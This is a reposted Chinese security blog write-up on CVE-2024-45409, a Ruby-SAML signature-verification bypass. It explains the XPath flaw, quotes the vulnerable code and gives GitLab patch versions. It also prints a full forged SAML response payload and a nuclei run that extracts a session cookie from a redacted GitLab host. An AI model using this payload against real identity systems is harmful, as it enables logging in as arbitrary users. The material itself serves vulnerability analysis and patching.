文章来源:菜鸟学渗透
使用说明:本篇文章旨在提供网络安全技术研究的信息和知识,以供信息技术专业人士、学者和爱好者学习和交流。我们鼓励读者提升自身的技术能力,增强网络安全意识,并为维护网络空间的安全做出贡献,切勿用于其他不合法事项。
一、漏洞描述
CVE-2024-45409 漏洞是由 Ruby SAML 库引起的。Ruby SAML 库是用于实现 SAML 授权的客户端。12.2 及以下的所有版本、1.13.0 到 1.16.0 之间的 Ruby-SAML 版本都受此影响。这些版本不能够正确验证 SAML 响应的签名。因此,具有访问任何身份提供者(IdP)签署的 SAML 文档的未经身份验证的攻击者可以伪造包含任意内容的 SAML 响应/断言。这将允许攻击者以任意用户身份登录到易受攻击的系统中。此漏洞在 1.17.0 和 1.12.3 版本中已修复。
二、SAML消息验证
SAML是一种广泛使用的协议,用于在身份提供者(idp)和服务提供者(sp)之间交换身份验证和授权数据。确保这种交换安全性的一个关键部分是通过数字签名和摘要验证来验证数据的完整性和真实性。在本节中,我们将首先解释SAML签名和摘要验证是如何工作的,然后探索Ruby-SAML中可以用来规避签名验证的绕过。
三、SAML签名是如何工作的?
在典型的SAML响应中,Assertion元素保存关键的安全信息,例如经过身份验证的用户的详细信息。为了确保此信息未被篡改,对其进行了数字签名。
1.断言元素和摘要计算
Assertion元素包含安全凭证,并且通过计算断言的规范化内容的摘要(散列)来保护该元素的完整性。在计算此摘要之前,将从断言中删除签名节点。然后将此摘要包含在签名元素的SignedInfo块中。
2.签名元素和签名信息块
Signature元素包含一个SignedInfo块,它包含:
-
指向断言的引用URI。
-
DigestValue,表示断言块的摘要,计算后存储在此块中。
一旦将摘要包含在SignedInfo块中,就使用IdP的私钥对整个SignedInfo进行签名,并将结果放置在SignatureValue元素中。下面是该结构的一个简化的XML示例
<Assertion ID="_abc123">
<Signature>
<SignedInfo>
<Reference URI="#_abc123">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>abc123DigestValue</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>SignedWithPrivateKey</SignatureValue>
</Signature>
<!-- Assertion contents -->
</Assertion>
四、摘要和签名如何确保完整性?
对断言的任何修改都会导致其哈希值发生变化。然而,由于“SignedInfo”元素中包含原始哈希值,并且该值是用IdP的私钥进行签名的,因此攻击者无法在不使签名失效的情况下更改“SignedInfo”块。这一机制确保服务提供商(SP)在验证响应时能够检测到对断言的未经授权修改。
签名验证流程
当服务提供商(SP)接收到SAML响应时,将执行两项关键检查:
-
摘要验证:SP会计算断言(移除签名节点后)的摘要,并将其与“SignedInfo”块中的摘要值进行比较。如果两者不匹配,则表明断言已被篡改。
-
签名验证:SP使用IdP的公钥来验证“SignedInfo”块上的签名。如果签名有效,则确认IdP已对消息进行了合法签署,且消息未遭篡改。
五、Ruby-SAML旁路
在Ruby-SAML库中,在实际签名验证之前会发生几次验证,包括模式验证和对断言数量的检查。然而,由于在验证过程中如何使用XPath提取某些元素,因此出现了一个特定的漏洞。
XPATH:
/ - 这从文档的根目录开始选择节点。例如,/samlp:Response检索<samlp:Response>根节点。同样,/samlp:Response/saml:Issuer将从根节点<samlp:Response>开始访问<saml:Issuer>。
./ - 这会选择相对于当前节点的节点。例如,如果当前上下文是<签名>元素,那么。/SignedInfo将返回<SignedInfo>节点,该节点是<Signature>的直接子节点。
// - 这从文档中的任何地方选择节点,包括所有嵌套节点。例如,//SignedInfo将选择<SignedInfo>的所有实例,无论它们在文档中嵌套的深度如何。
在Ruby-SAML库中提交了一个补丁,试图加强安全性。以前,在XPath选择器中使用//访问元素的方式过于宽容。
https://github.com/SAML-Toolkits/ruby-saml/commit/4865d030cae9705ee5cdb12415c654c634093ae7?ref=blog.projectdiscovery.io
问题就在这里:当从引用节点提取DigestValue时,使用XPath表达式//ds:DigestValue。这意味着将从文档中的任何位置选择具有DSIG名称空间的DigestValue元素的第一个出现。
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
通过利用这一点,攻击者可以将另一个DigestValue偷运到samlp:extensions元素中的文档中,该元素被设计用于保存具有有效名称空间的任何元素。
六、绕过签名验证
该漏洞允许我们绕过签名验证,如下所示:
-
我们将修改后断言的DigestValue插入到samlp:extensions元素中。
-
XPath选择器将提取这个走私的DigestValue,而不是SignedInfo块中的DigestValue。
-
因为SignedInfo块本身没有被修改,所以它通过了签名检查,但是实际的断言内容可能已经被篡改了。
下面的例子说明了如何在代码中利用这一点:
hash = digest_algorithm.digest(canon_hashed_element)
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))
unless digests_match?(hash, digest_value)
return append_error("Digest mismatch", soft)
end
unless cert.public_key.verify(signature_algorithm.new, signature, canon_string)
return append_error("Key validation error", soft)
end
在这种情况下:
-
canon_hashhed_element引用没有签名块的断言块。
-
encoded_digest_value是我们控制的DigestValue,隐藏在sample扩展中。
-
canon_string指向SignedInfo块。
下面是一个示例SAML响应来执行SAML旁路:
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<samlp:Extensions>
<DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
legitdigestvalue
</DigestValue>
</samlp:Extensions>
<samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
<saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
<SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
<Reference URI="#_911d8da24301c447b649">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>
KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==</SignatureValue>
<KeyInfo>
<X509Data>
<X509Certificate>MIIC4jCC....HpLKQQ==</X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
[email protected]</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction>
<saml:Audience>https://saml.example.com/entityid</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Attribute Name="id"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
[email protected]</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
我们创建了nuclei的脚本,以便在获得目标用户的SAMLResponse后简化获取会话cookie的过程。(脚本放在文字最后了)
$ nuclei -t CVE-2024-45409.yaml -u https://gitlab.redacted.com -code -var SAMLResponse='REDACTED'
__ _
____ __ _______/ /__ (_)
/ __ / / / / ___/ / _ / /
/ / / / /_/ / /__/ / __/ /
/_/ /_/__,_/___/_/___/_/ v3.3.4
projectdiscovery.io
[INF] Current nuclei version: v3.3.4 (latest)
[INF] Current nuclei-templates version: v10.0.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2024-45409] [http] [critical] https://gitlab.redacted.com/users/auth/saml/callback ["c4a8f2720a97068ee44440beee8f296c"]
复现视频:
七、漏洞修复
1.对于GitLab/极狐GitLab 私有化部署版的用户,通过将原有的GitLab CE/EE/JH升级至17.3.3-jh、17.2.7-jh、17.1.8-jh、17.0.8-jh、16.11.10-jh 版本即可修复该漏洞。
2.使用 Omnibus 安装部署的实例,升级详情可以查看极狐GitLab 安装包安装升级文档。
3.使用 Docker 安装部署的实例,可使用如下几个容器镜像将产品升级到上述某一个版本:
registry.gitlab.cn/omnibus/gitlab-jh:17.3.3-jh.0
registry.gitlab.cn/omnibus/gitlab-jh:17.2.7-jh.0
registry.gitlab.cn/omnibus/gitlab-jh:17.1.8-jh.0
registry.gitlab.cn/omnibus/gitlab-jh:17.0.8-jh.0
registry.gitlab.cn/omnibus/gitlab-jh:16.11.10-jh.0
升级详情可以查看极狐GitLab Docker 安装升级文档。
4.使用云原生安装的实例,可将使用的 Helm Chart 升级到 8.3.3(对应 17.3.3-jh)、8.2.7(对应 17.2.7-jh)、8.1.8(对应 17.1.8-jh)、8.0.8(对应 17.0.8-jh)以及 7.11.10(对应 16.11.10-jh)来修复该漏洞。升级详情可以查看 Helm Chart 安装升级文档。
——————————————————————————————
可后台回复45409 获取脚本
原文始发于微信公众号(阿无安全):GitLab CVE-2024-45409漏洞(附脚本)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论